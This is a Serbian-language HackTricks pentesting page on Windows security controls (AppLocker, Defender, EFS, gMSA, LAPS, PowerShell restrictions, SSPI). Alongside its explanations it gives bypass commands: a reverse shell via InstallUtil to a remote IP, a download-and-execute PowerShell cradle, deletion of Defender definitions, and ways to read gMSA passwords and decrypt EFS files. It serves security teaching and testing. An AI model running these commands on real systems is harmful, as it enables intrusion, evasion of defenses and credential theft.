hacktricks/windows-hardening/authentication-credentials-uac-and-efs
2024-07-19 16:13:40 +00:00
..
README.md Translated ['pentesting-web/browser-extension-pentesting-methodology/REA 2024-07-19 16:13:40 +00:00
uac-user-account-control.md Translated ['pentesting-web/browser-extension-pentesting-methodology/REA 2024-07-19 16:13:40 +00:00

Windows Security Controls

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Use Trickest to easily build and automate workflows powered by the world's most advanced community tools.
Get Access Today:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

AppLocker Policy

Lista odobrenih aplikacija je spisak odobrenih softverskih aplikacija ili izvršnih datoteka koje su dozvoljene da budu prisutne i da se pokreću na sistemu. Cilj je zaštititi okruženje od štetnog malvera i neodobrenog softvera koji nije u skladu sa specifičnim poslovnim potrebama organizacije.

AppLocker je Microsoftovo rešenje za belu listu aplikacija i daje sistemskim administratorima kontrolu nad koje aplikacije i datoteke korisnici mogu da pokreću. Pruža granularnu kontrolu nad izvršnim datotekama, skriptama, Windows instalacionim datotekama, DLL-ovima, pakovanim aplikacijama i instalaterima pakovanih aplikacija.
Uobičajeno je da organizacije blokiraju cmd.exe i PowerShell.exe i da imaju pisanje pristupa određenim direktorijumima, ali se sve to može zaobići.

Check

Check which files/extensions are blacklisted/whitelisted:

Get-ApplockerPolicy -Effective -xml

Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections

$a = Get-ApplockerPolicy -effective
$a.rulecollections

Ova putanja registra sadrži konfiguracije i politike koje primenjuje AppLocker, pružajući način za pregled trenutnog skupa pravila koja se primenjuju na sistemu:

  • HKLM\Software\Policies\Microsoft\Windows\SrpV2

Bypass

  • Korisni Writable folders za zaobilaženje AppLocker politike: Ako AppLocker dozvoljava izvršavanje bilo čega unutar C:\Windows\System32 ili C:\Windows, postoje writable folders koje možete koristiti za bypass this.
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\drivers\color
C:\Windows\Tasks
C:\windows\tracing
  • Uobičajeni trusted "LOLBAS's" binarni fajlovi mogu biti korisni za zaobilaženje AppLocker-a.
  • Loše napisani pravila takođe mogu biti zaobiđena
  • Na primer, <FilePathCondition Path="%OSDRIVE%*\allowed*"/>, možete kreirati folder pod nazivom allowed bilo gde i biće dozvoljeno.
  • Organizacije često fokusiraju na blokiranje %System32%\WindowsPowerShell\v1.0\powershell.exe izvršnog fajla, ali zaboravljaju na druge lokacije izvršnih fajlova PowerShell-a kao što su %SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe ili PowerShell_ISE.exe.
  • DLL enforcement veoma retko omogućen zbog dodatnog opterećenja koje može staviti na sistem, i količine testiranja potrebnog da se osigura da ništa neće prestati da funkcioniše. Tako da korišćenje DLL-ova kao backdoor-a će pomoći u zaobilaženju AppLocker-a.
  • Možete koristiti ReflectivePick ili SharpPick da izvršite Powershell kod u bilo kojem procesu i zaobiđete AppLocker. Za više informacija pogledajte: https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode.

Skladištenje kredencijala

Menadžer sigurnosnih naloga (SAM)

Lokalni kredencijali su prisutni u ovoj datoteci, lozinke su hash-ovane.

Lokalna sigurnosna vlast (LSA) - LSASS

Kredencijali (hash-ovani) su sačuvani u memoriji ovog podsistema iz razloga jedinstvenog prijavljivanja.
LSA upravlja lokalnom sigurnosnom politikom (politika lozinki, dozvole korisnika...), autentifikacijom, tokenima pristupa...
LSA će biti ta koja će proveriti date kredencijale unutar SAM datoteke (za lokalno prijavljivanje) i komunicirati sa kontrolerom domena da autentifikuje korisnika domena.

Kredencijali su sačuvani unutar procesa LSASS: Kerberos karte, NT i LM hash-ovi, lako dekriptovane lozinke.

LSA tajne

LSA može sačuvati na disku neke kredencijale:

  • Lozinka računa računara Active Directory (nepristupačan kontroler domena).
  • Lozinke računa Windows servisa
  • Lozinke za zakazane zadatke
  • Više (lozinka IIS aplikacija...)

NTDS.dit

To je baza podataka Active Directory. Prisutna je samo u kontrolerima domena.

Defender

Microsoft Defender je antivirus koji je dostupan u Windows 10 i Windows 11, i u verzijama Windows Server-a. Blokira uobičajene pentesting alate kao što je WinPEAS. Međutim, postoje načini da se zaobiđu ove zaštite.

Provera

Da proverite status Defender-a možete izvršiti PS cmdlet Get-MpComputerStatus (proverite vrednost RealTimeProtectionEnabled da saznate da li je aktivna):

PS C:\> Get-MpComputerStatus

[...]
AntispywareEnabled              : True
AntispywareSignatureAge         : 1
AntispywareSignatureLastUpdated : 12/6/2021 10:14:23 AM
AntispywareSignatureVersion     : 1.323.392.0
AntivirusEnabled                : True
[...]
NISEnabled                      : False
NISEngineVersion                : 0.0.0.0
[...]
RealTimeProtectionEnabled       : True
RealTimeScanDirection           : 0
PSComputerName                  :

Da biste ga enumerisali, takođe možete pokrenuti:

WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List
wmic /namespace:\\root\securitycenter2 path antivirusproduct
sc query windefend

#Delete all rules of Defender (useful for machines without internet access)
"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All

Encrypted File System (EFS)

EFS obezbeđuje datoteke putem enkripcije, koristeći simetrični ključ poznat kao Ključ za enkripciju datoteka (FEK). Ovaj ključ je enkriptovan korisnikovim javnim ključem i smešten unutar $EFS alternativnog toka podataka enkriptovane datoteke. Kada je potrebna dekripcija, koristi se odgovarajući privatni ključ korisničkog digitalnog sertifikata za dekripciju FEK-a iz $EFS toka. Više detalja možete pronaći ovde.

Scenariji dekripcije bez inicijacije korisnika uključuju:

  • Kada se datoteke ili fascikle presele na ne-EFS datotečni sistem, kao što je FAT32, automatski se dekriptuju.
  • Enkriptovane datoteke poslate preko mreže putem SMB/CIFS protokola se dekriptuju pre prenosa.

Ova metoda enkripcije omogućava transparentan pristup enkriptovanim datotekama za vlasnika. Međutim, jednostavna promena lozinke vlasnika i prijavljivanje neće omogućiti dekripciju.

Ključne tačke:

  • EFS koristi simetrični FEK, enkriptovan korisnikovim javnim ključem.
  • Dekripcija koristi korisnikov privatni ključ za pristup FEK-u.
  • Automatska dekripcija se dešava pod specifičnim uslovima, kao što su kopiranje na FAT32 ili mrežni prenos.
  • Enkriptovane datoteke su dostupne vlasniku bez dodatnih koraka.

Proverite EFS informacije

Proverite da li je korisnik koristio ovu uslugu proverom da li ovaj put postoji: C:\users\<username>\appdata\roaming\Microsoft\Protect

Proverite ko ima pristup datoteci koristeći cipher /c <file>
Takođe možete koristiti cipher /e i cipher /d unutar fascikle da enkriptujete i dekriptujete sve datoteke

Dekripcija EFS datoteka

Biti Autoritet Sistem

Ovaj način zahteva da žrtva korisnik bude pokrenut u procesu unutar hosta. Ako je to slučaj, koristeći meterpreter sesije možete imitirati token procesa korisnika (impersonate_token iz incognito). Ili možete jednostavno migrirati u proces korisnika.

Poznavanje lozinke korisnika

{% embed url="https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files" %}

Group Managed Service Accounts (gMSA)

Microsoft je razvio Group Managed Service Accounts (gMSA) kako bi pojednostavio upravljanje servisnim nalozima u IT infrastrukturnim sistemima. Za razliku od tradicionalnih servisnih naloga koji često imaju podešavanje "Lozinka nikada ne ističe" omogućeno, gMSA nude sigurnije i upravljivije rešenje:

  • Automatsko upravljanje lozinkama: gMSA koriste složenu, 240-karakternu lozinku koja se automatski menja u skladu sa politikom domena ili računara. Ovaj proces se obavlja putem Microsoftove usluge za distribuciju ključeva (KDC), eliminišući potrebu za ručnim ažuriranjima lozinki.
  • Povećana sigurnost: Ovi nalozi su imuni na zaključavanje i ne mogu se koristiti za interaktivna prijavljivanja, čime se povećava njihova sigurnost.
  • Podrška za više hostova: gMSA se mogu deliti između više hostova, što ih čini idealnim za usluge koje se pokreću na više servera.
  • Mogućnost zakazanih zadataka: Za razliku od upravljanih servisnih naloga, gMSA podržavaju pokretanje zakazanih zadataka.
  • Pojednostavljeno upravljanje SPN-om: Sistem automatski ažurira Ime servisnog principala (SPN) kada dođe do promena u detaljima sAMaccount-a računara ili DNS imenu, pojednostavljujući upravljanje SPN-om.

Lozinke za gMSA se čuvaju u LDAP svojstvu msDS-ManagedPassword i automatski se resetuju svake 30 dana od strane kontrolera domena (DC). Ova lozinka, enkriptovani podatkovni blob poznat kao MSDS-MANAGEDPASSWORD_BLOB, može se dobiti samo od strane ovlašćenih administratora i servera na kojima su gMSA instalirani, obezbeđujući sigurno okruženje. Da biste pristupili ovim informacijama, potrebna je sigurna veza kao što je LDAPS, ili veza mora biti autentifikovana sa 'Sealing & Secure'.

https://cube0x0.github.io/Relaying-for-gMSA/

Možete pročitati ovu lozinku sa GMSAPasswordReader:

/GMSAPasswordReader --AccountName jkohler

Pronađite više informacija u ovom postu

Takođe, proverite ovu web stranicu o tome kako izvršiti NTLM relay attack da pročitate lozinku gMSA.

LAPS

Rešenje za lozinke lokalnog administratora (LAPS), dostupno za preuzimanje sa Microsoft, omogućava upravljanje lozinkama lokalnog administratora. Ove lozinke, koje su nasumične, jedinstvene i redovno menjane, čuvaju se centralno u Active Directory. Pristup ovim lozinkama je ograničen putem ACL-a na ovlašćene korisnike. Uz dodeljene dovoljne dozvole, omogućava se čitanje lozinki lokalnog administratora.

{% content-ref url="../active-directory-methodology/laps.md" %} laps.md {% endcontent-ref %}

PS Constrained Language Mode

PowerShell Constrained Language Mode ograničava mnoge funkcije potrebne za efikasno korišćenje PowerShell-a, kao što su blokiranje COM objekata, dozvoljavanje samo odobrenih .NET tipova, XAML-bazirani radni tokovi, PowerShell klase i još mnogo toga.

Proveri

$ExecutionContext.SessionState.LanguageMode
#Values could be: FullLanguage or ConstrainedLanguage

Zaobilaženje

#Easy bypass
Powershell -version 2

U trenutnom Windows-u ta zaobilaženje neće raditi, ali možete koristiti PSByPassCLM.
Da biste ga kompajlirali, možda će vam biti potrebno da dodate referencu -> Pretraži -> Pretraži -> dodajte C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll i promenite projekat na .Net4.5.

Direktno zaobilaženje:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U c:\temp\psby.exe

Обратна љуска:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe

Možete koristiti ReflectivePick ili SharpPick da izvršite Powershell kod u bilo kojem procesu i zaobiđete ograničeni režim. Za više informacija pogledajte: https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-contstrained-language-mode.

PS Politika izvršavanja

Podrazumevano je postavljena na ograničeno. Glavni načini za zaobilaženje ove politike:

 Just copy and paste inside the interactive PS console
 Read en Exec
Get-Content .runme.ps1 | PowerShell.exe -noprofile -
 Read and Exec
Get-Content .runme.ps1 | Invoke-Expression
 Use other execution policy
PowerShell.exe -ExecutionPolicy Bypass -File .runme.ps1
 Change users execution policy
Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted
 Change execution policy for this session
Set-ExecutionPolicy Bypass -Scope Process
 Download and execute:
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://bit.ly/1kEgbuH')"
 Use command switch
Powershell -command "Write-Host 'My voice is my passport, verify me.'"
 Use EncodeCommand
$command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand

More can be found here

Security Support Provider Interface (SSPI)

Je API koji se može koristiti za autentifikaciju korisnika.

SSPI će biti zadužen za pronalaženje adekvatnog protokola za dve mašine koje žele da komuniciraju. Preferirani metod za ovo je Kerberos. Zatim će SSPI pregovarati koji autentifikacioni protokol će se koristiti, ovi autentifikacioni protokoli se nazivaju Security Support Provider (SSP), nalaze se unutar svake Windows mašine u obliku DLL-a i obe mašine moraju podržavati isti da bi mogle da komuniciraju.

Main SSPs

  • Kerberos: Preferirani
  • %windir%\Windows\System32\kerberos.dll
  • NTLMv1 i NTLMv2: Razlozi kompatibilnosti
  • %windir%\Windows\System32\msv1_0.dll
  • Digest: Web serveri i LDAP, lozinka u obliku MD5 haša
  • %windir%\Windows\System32\Wdigest.dll
  • Schannel: SSL i TLS
  • %windir%\Windows\System32\Schannel.dll
  • Negotiate: Koristi se za pregovaranje o protokolu koji će se koristiti (Kerberos ili NTLM, pri čemu je Kerberos podrazumevani)
  • %windir%\Windows\System32\lsasrv.dll

Pregovaranje može ponuditi nekoliko metoda ili samo jednu.

UAC - User Account Control

User Account Control (UAC) je funkcija koja omogućava izdavanje saglasnosti za uzvišene aktivnosti.

{% content-ref url="uac-user-account-control.md" %} uac-user-account-control.md {% endcontent-ref %}


Use Trickest to easily build and automate workflows powered by the world's most advanced community tools.
Get Access Today:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}


{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}